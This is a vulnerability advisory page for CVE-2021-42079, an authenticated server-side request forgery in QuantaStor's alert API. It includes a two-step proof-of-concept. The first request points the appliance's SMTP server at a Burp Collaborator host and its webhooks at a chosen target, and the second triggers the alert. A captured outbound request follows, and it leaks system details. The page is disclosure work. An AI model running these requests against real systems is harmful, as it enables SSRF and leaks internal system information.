CVE-2021-42079

MediumCVSS 4.9/10Last modified Jun 17, 2026

Description

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: */* Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####

 'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####

  'data': b'{   "attachments": [    {

    "fallback": "[122] test / test.",

    "color": "#aa2222",

    "title": "[122] test",

    "text": "test",

    "fields": [        {    

      "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true  

     },  {    

      "title": "System / Driver / Kernel Ver",    

      "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",    

      "short": false  

     },  {    

      "title": "System Startup",    

      "value": "Fri Aug  6 16-02-55 2021",    

      "short": true  

      },  {    

      "title": "SSID",    

      "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",    

      "short": true  

     },     ],

    "footer": "QuantaStor Call-home Alert",

    "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

    "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####

 'headers': {

  'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'

 },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' }

#### END FLASK REQUEST STUFF #####

Metrics

CVSS 3.1 4.9/10CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Weakness enumeration

Affected software

No affected versions have been published.

Timeline

Published
Jul 10, 2023
Last modified
Jun 17, 2026
NVD status
Modified

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CVE-2021-42079: Medium severity, CVSS 4.9 | Vulnix